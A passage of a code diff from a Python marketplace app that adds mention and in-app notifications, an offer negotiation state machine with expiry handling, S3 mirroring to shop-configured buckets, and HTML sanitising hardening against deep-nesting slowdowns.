usernames = extract_mentions(comment.data)
if not usernames:
return
product = comment.product
product_url = product.absolute_url(request)
comment_url = f"{product_url}#comment-{comment.id}"
commenter_name = author_user.name if author_user else "Someone"
for username in usernames:
mentioned_user = get_user_by_name(request.dbsession, username)
if not mentioned_user:
continue
# Skip self-mentions
if author_user and mentioned_user.id == author_user.id:
continue
# Skip unverified users (no valid email to send to)
if not mentioned_user.verified:
continue
subject = f"{commenter_name} mentioned you in a comment"
message_text = MENTION_TEXT.format(
commenter_name,
product.title,
comment.data,
comment_url,
)
message_html = MENTION_HTML.format(
subject,
commenter_name,
product.title,
comment.data_html or comment.data,
comment_url,
)
try:
send_pyramid_email(
request, mentioned_user.email, subject, message_text, message_html
)
log.info(f"Sent mention notification to {mentioned_user.email}")
except Exception as e:
log.error(
f"Failed to send mention notification to {mentioned_user.email}: {e}"
)

260
make_post_sell/lib/notifications.py Normal file
View file

@ -0,0 +1,260 @@
"""Thin orchestration layer over MpsNotification — one call per
event, dropping the right row(s) for the right recipient(s).
Every transactional email surface in MPS (purchase, sale, auction
outbid, offer state transitions) should pair with a notification
persist so the user has a permanent in-app inbox independent of
whether their email client rendered the message. This module is the
shared call site for the non-offer surfaces; offer transitions live
inline in views/offer.py via _notify_offer_event for symmetry with
the per-action state guards there.
All helpers are non-fatal — a notification persist failure logs and
moves on. The HTTP response must never 500 because the inbox row
couldn't be written.
"""
import logging
from ..models.notification import (
MpsNotification,
NOTIFICATION_KIND_PURCHASE,
NOTIFICATION_KIND_SALE,
NOTIFICATION_KIND_AUCTION_OUTBID,
NOTIFICATION_KIND_AUCTION_WON,
NOTIFICATION_KIND_AUCTION_ENDED_NO_WINNER,
NOTIFICATION_KIND_AUCTION_CANCELLED,
NOTIFICATION_KIND_OFFER_EXPIRED,
)
log = logging.getLogger(__name__)
def _resolve_session(target):
"""Accept either a Pyramid request or a SQLAlchemy Session.
Tick jobs pass the session directly; views pass `request`. This
isolation lets the same orchestrator work in both contexts.
"""
dbsession = getattr(target, "dbsession", None)
return dbsession if dbsession is not None else target
def _safe_add(target, notification):
try:
_resolve_session(target).add(notification)
except Exception:
log.exception("notification persist failed (non-fatal)")
def _invoice_first_product_title(invoice):
"""Best-effort label for purchase/sale notification subjects."""
try:
first = invoice.line_items.first()
if first is not None and first.product is not None:
return first.product.title
except Exception:
pass
return None
def notify_purchase_and_sale(target, invoice):
"""Drop a purchase notification for the buyer and a sale
notification for each shop owner on this invoice. Idempotent
per (recipient × invoice × kind) is NOT enforced — callers wire
this in once per cart-completion path, same as the email sends.
Accepts a request or a dbsession.
Non-fatal: any exception (incl. unit-test mocks with non-numeric
totals) is logged and swallowed. A notification persist failure
must not propagate up the payment-finalization stack.
"""
if invoice is None:
return
try:
_notify_purchase_and_sale_inner(target, invoice)
except Exception:
log.exception("notify_purchase_and_sale failed (non-fatal)")
def _notify_purchase_and_sale_inner(target, invoice):
title_hint = _invoice_first_product_title(invoice)
total_str = f"${invoice.total:.2f}"
# Buyer side.
if invoice.user is not None:
purchase_subject = (
f'Purchase complete: {title_hint}' if title_hint
else "Purchase complete"
)
_safe_add(
target,
MpsNotification(
user=invoice.user,
kind=NOTIFICATION_KIND_PURCHASE,
subject=purchase_subject,
body=f'{total_str} charged. Click to view receipt.',
link_url=f"/i/{invoice.uuid_str}",
shop=invoice.shop,
invoice=invoice,
),
)
# Seller side — every shop owner.
if invoice.shop is not None:
sale_subject = (
f'New sale: {title_hint}' if title_hint else "New sale"
)
for owner in invoice.shop.owners:
if owner is None:
continue
_safe_add(
target,
MpsNotification(
user=owner,
kind=NOTIFICATION_KIND_SALE,
subject=sale_subject,
body=f'{total_str} from {invoice.user.display_name}.'
if invoice.user else f'{total_str}.',
link_url=f"/i/{invoice.uuid_str}",
shop=invoice.shop,
invoice=invoice,
),
)
def notify_auction_outbid(target, prior_bidder, auction):
"""Drop a notification for the previous winning bidder when a new
higher bid lands. Mirrors the existing send_auction_outbid_email.
Non-fatal — failures (incl. mock-typed inputs from unit tests) are
logged and swallowed."""
if prior_bidder is None or auction is None:
return
try:
title_hint = auction.product.title if auction.product else "auction"
_safe_add(
target,
MpsNotification(
user=prior_bidder,
kind=NOTIFICATION_KIND_AUCTION_OUTBID,
subject=f'You were outbid on "{title_hint}"',
body=f'Current high: ${auction.current_high:.2f}. Click to bid again.',
link_url=f"/a/{auction.uuid_str}",
shop=auction.shop,
auction=auction,
),
)
except Exception:
log.exception("notify_auction_outbid failed (non-fatal)")
def notify_auction_won(target, auction):
"""Drop a notification for the auction winner when the auction
transitions ACTIVE → ENDED with a winner. Fired by auction_tick;
the buyer needs the pay-by deadline before it lapses. Non-fatal."""
if auction is None or auction.winner is None:
return
try:
title_hint = auction.product.title if auction.product else "auction"
_safe_add(
target,
MpsNotification(
user=auction.winner,
kind=NOTIFICATION_KIND_AUCTION_WON,
subject=f'You won the auction for "{title_hint}"',
body=(
f'Pay ${auction.current_high:.2f} to claim it. '
"Auction will be released to the next-highest bidder if "
"payment lapses."
),
link_url=f"/a/{auction.uuid_str}",
shop=auction.shop,
auction=auction,
),
)
except Exception:
log.exception("notify_auction_won failed (non-fatal)")
def notify_auction_ended_no_winner(target, auction):
"""Drop a notification for shop owners when an auction ends with
no winner (no bids or reserve not met). Lets the seller decide
whether to relist. Non-fatal."""
if auction is None or auction.shop is None:
return
try:
_notify_auction_ended_no_winner_inner(target, auction)
except Exception:
log.exception("notify_auction_ended_no_winner failed (non-fatal)")
def _notify_auction_ended_no_winner_inner(target, auction):
title_hint = auction.product.title if auction.product else "auction"
for owner in auction.shop.owners:
if owner is None:
continue
_safe_add(
target,
MpsNotification(
user=owner,
kind=NOTIFICATION_KIND_AUCTION_ENDED_NO_WINNER,
subject=f'Auction ended without a winner: "{title_hint}"',
body=(
"No bids met the reserve. Consider relisting at a lower "
"start price or with no reserve."
),
link_url=f"/a/{auction.uuid_str}",
shop=auction.shop,
auction=auction,
),
)
def notify_offer_expired(target, offer):
"""Drop notifications when an offer auto-expires — both pre-accept
(seller didn't respond in the negotiation window) and post-accept
(buyer never paid). Both buyer and seller(s) get a row. Non-fatal."""
if offer is None:
return
try:
_notify_offer_expired_inner(target, offer)
except Exception:
log.exception("notify_offer_expired failed (non-fatal)")
def _notify_offer_expired_inner(target, offer):
title_hint = offer.product.title if offer.product else "offer"
subject = f'Offer expired: "{title_hint}"'
body = f'${offer.current_amount:.2f} offer auto-expired.'
# Buyer.
if offer.buyer is not None:
_safe_add(
target,
MpsNotification(
user=offer.buyer,
kind=NOTIFICATION_KIND_OFFER_EXPIRED,
subject=subject,
body=body,
link_url=f"/o/{offer.uuid_str}",
shop=offer.shop,
offer=offer,
),
)
# Seller(s).
if offer.shop is not None:
for owner in offer.shop.owners:
if owner is None:
continue
_safe_add(
target,
MpsNotification(
user=owner,
kind=NOTIFICATION_KIND_OFFER_EXPIRED,
subject=subject,
body=body,
link_url=f"/o/{offer.uuid_str}",
shop=offer.shop,
offer=offer,
),
)

431
make_post_sell/lib/offer.py Normal file
View file

@ -0,0 +1,431 @@
"""Offer logic — MPS-21.
Pure validators + orchestrators for the make-an-offer state machine.
Buyer opens an offer, seller counters or accepts. Either party can
walk away with decline/withdraw. The round counter caps haggling
loops; expiration_hours auto-ages out stale offers.
Auto-accept / auto-decline:
- When buyer opens with amount >= list_price * (auto_accept_threshold_pct / 100),
the offer skips seller queue and lands in ACCEPTED state.
- When amount < list_price * (auto_decline_threshold_pct / 100),
the offer goes straight to DECLINED. Seller never sees the lowball.
These thresholds are shop-level settings (offer_auto_accept_threshold_pct,
offer_auto_decline_threshold_pct) with sane defaults (95 and 50).
Self-offer (buyer == seller) blocking is the view layer's job — same
pattern as auctions.
"""
from ..models.offer import (
MpsOffer,
MpsOfferEvent,
OFFER_STATE_PENDING,
OFFER_STATE_ACCEPTED,
OFFER_STATE_COUNTERED,
OFFER_STATE_DECLINED,
OFFER_STATE_EXPIRED,
OFFER_STATE_WITHDRAWN,
OFFER_STATE_PAID,
OFFER_STATE_BUYER_CANCELLED,
OFFER_TERMINAL_STATES,
OFFER_PARTY_BUYER,
OFFER_PARTY_SELLER,
OFFER_PARTY_OTHER,
OFFER_EVENT_OPEN,
OFFER_EVENT_COUNTER,
OFFER_EVENT_ACCEPT,
OFFER_EVENT_DECLINE,
OFFER_EVENT_WITHDRAW,
OFFER_EVENT_EXPIRE,
OFFER_EVENT_PAY,
OFFER_EVENT_BUYER_CANCEL,
DEFAULT_OFFER_EXPIRATION_HOURS,
DEFAULT_OFFER_MAX_ROUNDS,
DEFAULT_OFFER_AUTO_ACCEPT_PCT,
DEFAULT_OFFER_AUTO_DECLINE_PCT,
DEFAULT_OFFER_ACCEPTANCE_PAYMENT_HOURS,
now_timestamp,
)
class OfferRejected(Exception):
"""Raised when an offer action is invalid. Reason in .args[0]."""
# ── Pure helpers ─────────────────────────────────────────────────────────────
def validate_actor_turn(actor_party, current_party, offer_state):
"""Raise OfferRejected if it's not actor_party's turn to act on a
pending/countered offer.
Pure: caller resolves whether the user is buyer or seller and passes
actor_party as OFFER_PARTY_BUYER or OFFER_PARTY_SELLER.
"""
if offer_state in OFFER_TERMINAL_STATES:
raise OfferRejected("offer is terminal")
if actor_party != current_party:
raise OfferRejected("not your turn to act on this offer")
def validate_round_cap(round_count, max_rounds):
"""Raise OfferRejected if round_count has reached max_rounds.
The opening offer is round 0; first counter takes it to 1. Once
round_count >= max_rounds, no more counters are allowed and the
current party must accept or decline.
"""
if round_count >= max_rounds:
raise OfferRejected(
f"counter limit ({max_rounds}) reached — accept or decline only"
)
def validate_floor(amount_in_cents, floor_in_cents):
"""Raise OfferRejected if amount is below shop floor.
floor_in_cents may be None (no floor configured); pass through as valid.
"""
if floor_in_cents is None:
return
if amount_in_cents < floor_in_cents:
raise OfferRejected("offer below shop minimum")
def auto_resolve_open(amount_in_cents, list_price_in_cents,
auto_accept_pct, auto_decline_pct):
"""Pure: classify a new offer against shop thresholds.
Returns one of "accept", "decline", or "queue" (seller decides).
The percentages are integers in [0, 100]; threshold is computed as
list_price * pct / 100 with truncation.
auto_accept fires first: amount >= list * accept_pct / 100 → accept.
auto_decline fires next: amount < list * decline_pct / 100 → decline.
Otherwise → queue for seller review.
"""
if list_price_in_cents <= 0:
return "queue" # free product or unset; never auto-resolve
accept_floor = (list_price_in_cents * auto_accept_pct) // 100
decline_floor = (list_price_in_cents * auto_decline_pct) // 100
if amount_in_cents >= accept_floor:
return "accept"
if amount_in_cents < decline_floor:
return "decline"
return "queue"
# ── Orchestrators ────────────────────────────────────────────────────────────
def open_offer(
dbsession,
product,
shop,
buyer,
amount_in_cents,
buyer_message=None,
now_ms=None,
):
"""Create an MpsOffer and write the OPEN event. Applies auto-accept /
auto-decline thresholds before queuing for seller. Returns the new
offer in whichever terminal/non-terminal state results.
"""
if now_ms is None:
now_ms = now_timestamp()
floor = getattr(shop, "offer_min_in_cents", None)
validate_floor(amount_in_cents, floor)
expiration_hours = (
getattr(shop, "offer_expiration_hours", None)
or DEFAULT_OFFER_EXPIRATION_HOURS
)
expires_timestamp = now_ms + (expiration_hours * 3600 * 1000)
offer = MpsOffer(
product=product,
shop=shop,
buyer=buyer,
amount_in_cents=amount_in_cents,
expires_timestamp=expires_timestamp,
buyer_message=buyer_message,
)
dbsession.add(offer)
dbsession.add(
MpsOfferEvent(
offer=offer,
event_type=OFFER_EVENT_OPEN,
actor=buyer,
amount_in_cents=amount_in_cents,
message=buyer_message,
)
)
# Auto-accept / auto-decline.
auto_accept_pct = (
getattr(shop, "offer_auto_accept_threshold_pct", None)
or DEFAULT_OFFER_AUTO_ACCEPT_PCT
)
auto_decline_pct = (
getattr(shop, "offer_auto_decline_threshold_pct", None)
or DEFAULT_OFFER_AUTO_DECLINE_PCT
)
decision = auto_resolve_open(
amount_in_cents=amount_in_cents,
list_price_in_cents=product.price_in_cents,
auto_accept_pct=auto_accept_pct,
auto_decline_pct=auto_decline_pct,
)
if decision == "accept":
offer.state = OFFER_STATE_ACCEPTED
offer.last_action_timestamp = now_ms
offer.accepted_timestamp = now_ms
dbsession.add(
MpsOfferEvent(
offer=offer,
event_type=OFFER_EVENT_ACCEPT,
actor=None, # system
amount_in_cents=amount_in_cents,
message="auto-accept threshold met",
)
)
elif decision == "decline":
offer.state = OFFER_STATE_DECLINED
offer.last_action_timestamp = now_ms
dbsession.add(
MpsOfferEvent(
offer=offer,
event_type=OFFER_EVENT_DECLINE,
actor=None,
amount_in_cents=amount_in_cents,
message="auto-decline threshold not met",
)
)
dbsession.flush()
return offer
def counter_offer(
offer,
actor,
actor_party,
new_amount_in_cents,
message=None,
now_ms=None,
):
"""The current_party counters with a new amount. Flips current_party
to the other side, increments round_count, sets state to COUNTERED.
Raises OfferRejected if it's not the actor's turn or the round cap
has been reached.
"""
if now_ms is None:
now_ms = now_timestamp()
validate_actor_turn(actor_party, offer.current_party, offer.state)
shop = offer.shop
max_rounds = getattr(shop, "offer_max_rounds", None) or DEFAULT_OFFER_MAX_ROUNDS
validate_round_cap(offer.round_count, max_rounds)
validate_floor(new_amount_in_cents, getattr(shop, "offer_min_in_cents", None))
offer.current_amount_in_cents = new_amount_in_cents
offer.current_party = OFFER_PARTY_OTHER[offer.current_party]
offer.last_action_timestamp = now_ms
offer.round_count += 1
offer.state = OFFER_STATE_COUNTERED
if actor_party == OFFER_PARTY_SELLER:
offer.seller_message = message
else:
offer.buyer_message = message
dbsession = offer.dbsession
dbsession.add(
MpsOfferEvent(
offer=offer,
event_type=OFFER_EVENT_COUNTER,
actor=actor,
amount_in_cents=new_amount_in_cents,
message=message,
)
)
dbsession.flush()
return offer
def accept_offer(offer, actor, actor_party, message=None, now_ms=None):
"""Accept whatever amount is currently on the table. Either party
can accept what's been countered to them. Terminal."""
if now_ms is None:
now_ms = now_timestamp()
validate_actor_turn(actor_party, offer.current_party, offer.state)
offer.state = OFFER_STATE_ACCEPTED
offer.last_action_timestamp = now_ms
offer.accepted_timestamp = now_ms
dbsession = offer.dbsession
dbsession.add(
MpsOfferEvent(
offer=offer,
event_type=OFFER_EVENT_ACCEPT,
actor=actor,
amount_in_cents=offer.current_amount_in_cents,
message=message,
)
)
dbsession.flush()
return offer
def cancel_offer_after_accept(offer, actor, message=None, now_ms=None):
"""Buyer-side back-out *after* the seller accepted. Flips ACCEPTED →
BUYER_CANCELLED. Distinct from withdraw (which only works before
acceptance). Terminal. Caller validates that actor is the buyer.
Raises OfferRejected if the offer isn't currently ACCEPTED — already
paid, expired, or never-accepted offers cannot be cancelled this way.
"""
if now_ms is None:
now_ms = now_timestamp()
if offer.state != OFFER_STATE_ACCEPTED:
raise OfferRejected("only accepted offers can be cancelled by buyer")
offer.state = OFFER_STATE_BUYER_CANCELLED
offer.last_action_timestamp = now_ms
dbsession = offer.dbsession
dbsession.add(
MpsOfferEvent(
offer=offer,
event_type=OFFER_EVENT_BUYER_CANCEL,
actor=actor,
amount_in_cents=offer.current_amount_in_cents,
message=message,
)
)
dbsession.flush()
return offer
def decline_offer(offer, actor, actor_party, message=None, now_ms=None):
"""Decline the current amount. Terminal. Either party can decline."""
if now_ms is None:
now_ms = now_timestamp()
validate_actor_turn(actor_party, offer.current_party, offer.state)
offer.state = OFFER_STATE_DECLINED
offer.last_action_timestamp = now_ms
dbsession = offer.dbsession
dbsession.add(
MpsOfferEvent(
offer=offer,
event_type=OFFER_EVENT_DECLINE,
actor=actor,
amount_in_cents=offer.current_amount_in_cents,
message=message,
)
)
dbsession.flush()
return offer
def withdraw_offer(offer, actor, message=None, now_ms=None):
"""Buyer pulls the offer. Terminal. Buyer-only — caller validates
identity. We accept withdraw at any non-terminal state.
"""
if now_ms is None:
now_ms = now_timestamp()
if offer.state in OFFER_TERMINAL_STATES:
raise OfferRejected("offer is terminal")
offer.state = OFFER_STATE_WITHDRAWN
offer.last_action_timestamp = now_ms
dbsession = offer.dbsession
dbsession.add(
MpsOfferEvent(
offer=offer,
event_type=OFFER_EVENT_WITHDRAW,
actor=actor,
amount_in_cents=offer.current_amount_in_cents,
message=message,
)
)
dbsession.flush()
return offer
def expire_offer(offer, now_ms=None):
"""System action: flip a non-paid offer past its current deadline to
EXPIRED. Two deadlines apply at different states:
- PENDING / COUNTERED: offer.expires_timestamp (negotiation window).
- ACCEPTED: offer.acceptance_pay_deadline_ms (buyer's pay window).
Idempotent — offers that are already terminal in a non-expirable way
(DECLINED, WITHDRAWN, PAID, BUYER_CANCELLED) are returned unchanged.
Caller (tick job) is responsible for finding eligible offers.
"""
if now_ms is None:
now_ms = now_timestamp()
if offer.state in (OFFER_STATE_PENDING, OFFER_STATE_COUNTERED):
if offer.expires_timestamp > now_ms:
return offer # negotiation window still open
reason = "auto-expired (negotiation window)"
elif offer.state == OFFER_STATE_ACCEPTED:
deadline = offer.acceptance_pay_deadline_ms
if deadline is None or deadline > now_ms:
return offer # buyer still inside the pay window
reason = "auto-expired (unpaid past acceptance window)"
else:
# DECLINED, WITHDRAWN, EXPIRED, PAID, BUYER_CANCELLED — no-op.
return offer
offer.state = OFFER_STATE_EXPIRED
offer.last_action_timestamp = now_ms
dbsession = offer.dbsession
dbsession.add(
MpsOfferEvent(
offer=offer,
event_type=OFFER_EVENT_EXPIRE,
actor=None,
amount_in_cents=offer.current_amount_in_cents,
message=reason,
)
)
dbsession.flush()
return offer
def mark_paid(offer, now_ms=None):
"""Cart-success hook. Flips ACCEPTED → PAID. No-op if already paid."""
if now_ms is None:
now_ms = now_timestamp()
if offer.state == OFFER_STATE_PAID:
return offer
if offer.state != OFFER_STATE_ACCEPTED:
raise OfferRejected("only accepted offers can be marked paid")
offer.state = OFFER_STATE_PAID
offer.last_action_timestamp = now_ms
offer.paid_timestamp = now_ms
dbsession = offer.dbsession
dbsession.add(
MpsOfferEvent(
offer=offer,
event_type=OFFER_EVENT_PAY,
actor=None,
amount_in_cents=offer.current_amount_in_cents,
message="cart payment captured",
)
)
dbsession.flush()
return offer

59
make_post_sell/lib/offer_tick.py Normal file
View file

@ -0,0 +1,59 @@
"""offer_tick — auto-expiration for offers past their current deadline.
Two windows expire:
- PENDING / COUNTERED past expires_timestamp (negotiation window).
- ACCEPTED past acceptance_pay_deadline_ms (buyer's pay window).
Idempotent: running twice on an already-expired offer is a no-op.
"""
from ..models.offer import (
MpsOffer,
OFFER_STATE_PENDING,
OFFER_STATE_COUNTERED,
OFFER_STATE_ACCEPTED,
now_timestamp,
)
from .offer import expire_offer
from .notifications import notify_offer_expired
def tick(dbsession, now_ms=None):
"""Expire any pending/countered offer past expires_timestamp and any
accepted-but-unpaid offer past its acceptance pay deadline.
Returns {expired: int}. Caller manages its txn boundary.
"""
if now_ms is None:
now_ms = now_timestamp()
# Negotiation-window expiry (pre-acceptance).
pre_accept = (
dbsession.query(MpsOffer)
.filter(MpsOffer.state.in_([OFFER_STATE_PENDING, OFFER_STATE_COUNTERED]))
.filter(MpsOffer.expires_timestamp <= now_ms)
.all()
)
# Pay-window expiry (post-acceptance). expire_offer computes the
# deadline from accepted_timestamp + shop.offer_acceptance_payment_hours
# rather than a stored absolute, so we filter in-Python via the helper.
post_accept_candidates = (
dbsession.query(MpsOffer)
.filter(MpsOffer.state == OFFER_STATE_ACCEPTED)
.filter(MpsOffer.accepted_timestamp.isnot(None))
.all()
)
expired = 0
for offer in pre_accept:
expire_offer(offer, now_ms=now_ms)
notify_offer_expired(dbsession, offer)
expired += 1
for offer in post_accept_candidates:
deadline = offer.acceptance_pay_deadline_ms
if deadline is None or deadline > now_ms:
continue
expire_offer(offer, now_ms=now_ms)
notify_offer_expired(dbsession, offer)
expired += 1
return {"expired": expired}

44
make_post_sell/lib/render.py
View file

@ -1,8 +1,11 @@
from .sanitize_html import (
default_cleaner,
limit_html_nesting,
markdown_to_raw_html,
clean_raw_html,
)
from bs4 import BeautifulSoup
import re
import logging
@ -25,10 +28,49 @@ def make_cleaner_from_shop(shop):
return cleaner
def add_shop_theme_classes(html, shop):
"""Add shop-theme-link-color class to all links in HTML if shop has theme color."""
if not shop or not shop.theme_link_color:
return html
# Validate that the color looks like a valid CSS color.
# Non-backtracking patterns only — no nested quantifiers.
color = shop.theme_link_color.strip()
_hex3 = r"^#[0-9a-fA-F]{3}$"
_hex6 = r"^#[0-9a-fA-F]{6}$"
_func = r"^(?:rgba?|hsla?)\([^)]{0,80}\)$"
_name = r"^[a-zA-Z]{1,32}$"
if not any(re.match(p, color) for p in (_hex3, _hex6, _func, _name)):
return html
soup = BeautifulSoup(html, "html.parser")
for a_tag in soup.find_all("a"):
# Add CSS class for shop-themed links
existing_classes = a_tag.attrs.get("class", [])
if isinstance(existing_classes, str):
existing_classes = existing_classes.split()
# Only add if not already present
if "shop-theme-link-color" not in existing_classes:
existing_classes.append("shop-theme-link-color")
a_tag.attrs["class"] = existing_classes
return str(soup)
def markdown_to_html(data, shop=None):
raw_html = markdown_to_raw_html(data)
raw_html = limit_html_nesting(raw_html)
if shop:
cleaner = make_cleaner_from_shop(shop)
else:
cleaner = default_cleaner()
return clean_raw_html(raw_html, cleaner)
cleaned_html = clean_raw_html(raw_html, cleaner)
# Add shop theme classes after sanitization
if shop:
cleaned_html = add_shop_theme_classes(cleaned_html, shop)
return cleaned_html

315
make_post_sell/lib/s3_mirror.py Normal file
View file

@ -0,0 +1,315 @@
"""S3 mirror — fire-and-forget sync of uploaded files to a shop's custom bucket.
When a shop has mirror_s3_* credentials configured and enabled, every file
written to the MPS main bucket is copied to the shop's bucket in a background
thread. The MPS bucket remains the origin/CDN — the shop bucket is a mirror.
"""
import fcntl
import logging
import os
import threading
import boto3
log = logging.getLogger(__name__)
def _make_mirror_client(endpoint, region, access_key, secret_key):
"""Create a boto3 S3 client from mirror credentials."""
session = boto3.session.Session()
return session.client(
"s3",
region_name=region or "us-east-1",
endpoint_url=endpoint,
aws_access_key_id=access_key,
aws_secret_access_key=secret_key,
)
def test_mirror_connection(shop):
"""Validate shop mirror credentials by listing the bucket.
Returns (True, "") on success or (False, "error message") on failure.
"""
try:
client = _make_mirror_client(
shop.mirror_s3_endpoint,
shop.mirror_s3_region,
shop.mirror_s3_access_key,
shop.mirror_s3_secret_key,
)
client.list_objects_v2(Bucket=shop.mirror_s3_bucket, MaxKeys=0)
return True, ""
except Exception as e:
return False, str(e)
def mirror_key(src_client, src_bucket, key, dst_client, dst_bucket,
content_type=None, cache_control=None):
"""Copy a single key from source bucket to mirror bucket.
Streams via get_object → put_object. The StreamingBody from get_object
is passed directly as Body to put_object.
"""
try:
resp = src_client.get_object(Bucket=src_bucket, Key=key)
body = resp["Body"]
put_kwargs = {
"Bucket": dst_bucket,
"Key": key,
"Body": body,
}
if content_type:
put_kwargs["ContentType"] = content_type
if cache_control:
put_kwargs["CacheControl"] = cache_control
dst_client.put_object(**put_kwargs)
log.info("Mirrored %s to %s/%s", key, dst_bucket, key)
except Exception:
log.exception("Failed to mirror key %s to bucket %s", key, dst_bucket)
def _capture_shop_mirror_creds(shop):
"""Capture mirror credentials as plain strings for thread safety.
The shop ORM object must not be accessed from a background thread
after the request's DB session is closed.
"""
return {
"endpoint": shop.mirror_s3_endpoint,
"region": shop.mirror_s3_region,
"bucket": shop.mirror_s3_bucket,
"access_key": shop.mirror_s3_access_key,
"secret_key": shop.mirror_s3_secret_key,
}
def _capture_source_creds(src_client):
"""Capture source S3 client credentials for thread safety.
boto3 clients are not thread-safe — the background thread must
create its own client.
"""
return {
"endpoint": src_client._endpoint.host,
"region": src_client.meta.region_name,
"access_key": src_client._request_signer._credentials.access_key,
"secret_key": src_client._request_signer._credentials.secret_key,
}
def mirror_key_async(src_client, src_bucket, key, shop,
content_type=None, cache_control=None):
"""Fire-and-forget: mirror a key to the shop's bucket in a daemon thread.
Does nothing if the shop has no mirror configured.
"""
if not shop.has_s3_mirror:
return
mirror_creds = _capture_shop_mirror_creds(shop)
source_creds = _capture_source_creds(src_client)
def _sync():
try:
sess = boto3.session.Session()
src = sess.client(
"s3",
region_name=source_creds["region"],
endpoint_url=source_creds["endpoint"],
aws_access_key_id=source_creds["access_key"],
aws_secret_access_key=source_creds["secret_key"],
)
dst = _make_mirror_client(
mirror_creds["endpoint"],
mirror_creds["region"],
mirror_creds["access_key"],
mirror_creds["secret_key"],
)
mirror_key(src, src_bucket, key, dst, mirror_creds["bucket"],
content_type=content_type, cache_control=cache_control)
except Exception:
log.exception("Mirror thread failed for key %s", key)
t = threading.Thread(target=_sync, daemon=True)
t.start()
def mirror_keys_async(src_client, src_bucket, keys, shop,
content_type=None, cache_control=None):
"""Fire-and-forget: mirror multiple keys in a single daemon thread."""
if not shop.has_s3_mirror:
return
mirror_creds = _capture_shop_mirror_creds(shop)
source_creds = _capture_source_creds(src_client)
def _sync():
try:
sess = boto3.session.Session()
src = sess.client(
"s3",
region_name=source_creds["region"],
endpoint_url=source_creds["endpoint"],
aws_access_key_id=source_creds["access_key"],
aws_secret_access_key=source_creds["secret_key"],
)
dst = _make_mirror_client(
mirror_creds["endpoint"],
mirror_creds["region"],
mirror_creds["access_key"],
mirror_creds["secret_key"],
)
for key in keys:
mirror_key(src, src_bucket, key, dst, mirror_creds["bucket"],
content_type=content_type, cache_control=cache_control)
except Exception:
log.exception("Mirror thread failed for keys %s", keys)
t = threading.Thread(target=_sync, daemon=True)
t.start()
def backfill_mirror_async(shop_id, session_factory, app_settings):
"""Copy all existing S3 files for a shop to the mirror bucket.
Forks a child process so the backfill survives uWSGI worker recycling.
Uses fcntl.flock on a lockfile for one-per-shop guard.
"""
shop_id_str = str(shop_id)
lockfile = f"/tmp/s3_mirror_backfill_{shop_id_str}.lock"
db_url = str(session_factory().get_bind().url)
# Quick check — if lockfile exists and is locked, skip
try:
check_fd = open(lockfile, "w")
fcntl.flock(check_fd, fcntl.LOCK_EX | fcntl.LOCK_NB)
fcntl.flock(check_fd, fcntl.LOCK_UN)
check_fd.close()
except (IOError, OSError):
return # another backfill is running for this shop
pid = os.fork()
if pid > 0:
os.waitpid(pid, 0)
return
# Intermediate child: detach fully from uWSGI, then fork again
os.setsid()
pid2 = os.fork()
if pid2 > 0:
os._exit(0)
# --- Grandchild process: fully detached from uWSGI ---
import resource
maxfd = resource.getrlimit(resource.RLIMIT_NOFILE)[1]
if maxfd == resource.RLIM_INFINITY:
maxfd = 1024
for fd in range(3, maxfd):
try:
os.close(fd)
except OSError:
pass
lock_fd = None
try:
lock_fd = open(lockfile, "w")
fcntl.flock(lock_fd, fcntl.LOCK_EX | fcntl.LOCK_NB)
lock_fd.write(str(os.getpid()))
lock_fd.flush()
from sqlalchemy import create_engine
from sqlalchemy.orm import Session as SASession
from ..models.shop import Shop
engine = create_engine(db_url)
session = SASession(bind=engine)
def _make_src(shop):
# BYOB: if shop has its own primary bucket, mirror from there (MPS-16)
if shop and shop.has_primary_s3:
return boto3.session.Session().client(
"s3",
region_name=shop.primary_s3_region,
endpoint_url=shop.primary_s3_endpoint,
aws_access_key_id=shop.primary_s3_access_key,
aws_secret_access_key=shop.primary_s3_secret_key,
)
return boto3.session.Session().client(
"s3",
region_name=app_settings["bucket.secure_uploads.region"],
endpoint_url=app_settings["bucket.secure_uploads.post_endpoint"],
aws_access_key_id=app_settings["bucket.secure_uploads.access_key"],
aws_secret_access_key=app_settings["bucket.secure_uploads.secret_key"],
)
try:
shop = session.get(Shop, shop_id)
if not shop or not shop.has_s3_mirror:
return
src = _make_src(shop)
dst = _make_mirror_client(
shop.mirror_s3_endpoint,
shop.mirror_s3_region,
shop.mirror_s3_access_key,
shop.mirror_s3_secret_key,
)
src_bucket = shop.primary_s3_bucket if shop.has_primary_s3 else app_settings["bucket.secure_uploads"]
dst_bucket = shop.mirror_s3_bucket
# List all objects under the shop's prefix
prefix = f"{shop_id_str}/"
continuation_token = None
total = 0
mirrored = 0
log.info("Backfill mirror for shop %s (pid %d)", shop.name, os.getpid())
while True:
list_kwargs = {
"Bucket": src_bucket,
"Prefix": prefix,
"MaxKeys": 1000,
}
if continuation_token:
list_kwargs["ContinuationToken"] = continuation_token
resp = src.list_objects_v2(**list_kwargs)
contents = resp.get("Contents", [])
total += len(contents)
for obj in contents:
key = obj["Key"]
mirror_key(src, src_bucket, key, dst, dst_bucket)
mirrored += 1
if resp.get("IsTruncated"):
continuation_token = resp["NextContinuationToken"]
else:
break
log.info("Backfill mirror complete for shop %s: %d/%d keys mirrored",
shop.name, mirrored, total)
except Exception:
log.exception("Backfill mirror failed for shop %s", shop_id_str)
finally:
session.close()
engine.dispose()
except (IOError, OSError):
pass # couldn't acquire lock
except Exception:
log.exception("Backfill mirror child process failed for shop %s", shop_id_str)
finally:
if lock_fd:
try:
lock_fd.close()
os.unlink(lockfile)
except OSError:
pass
os._exit(0)

55
make_post_sell/lib/sanitize_html.py
View file

@ -12,7 +12,7 @@ from bleach_allowlist import markdown_tags, markdown_attrs, all_styles
# We implement our own CSS validation in protect_links() for security
from bs4 import BeautifulSoup
from bs4 import BeautifulSoup, Tag
import miniuri
@ -105,6 +105,41 @@ def default_cleaner(tag_acl=None):
return cleaner
def limit_html_nesting(html, max_depth=20):
"""
Flatten HTML elements nested deeper than max_depth.
bleach/html5lib has O(2^N) complexity for deeply nested or misnested
elements (CWE-407). N=30 → 1.0s, N=35 → 12.8s measured in the wild.
This runs on the raw markdown output (before bleach) using html.parser
which is O(N) — safe to call first.
max_depth=20 accommodates books with deeply nested lists, blockquotes,
and table-of-contents structures while keeping N well below the
exponential zone.
"""
soup = BeautifulSoup(html, "html.parser")
to_unwrap = []
def _collect(node, depth):
for child in list(node.children):
if not isinstance(child, Tag):
continue
if depth >= max_depth:
to_unwrap.append(child)
_collect(child, depth + 1)
_collect(soup, 0)
# Unwrap deepest first so parent references remain valid
for tag in reversed(to_unwrap):
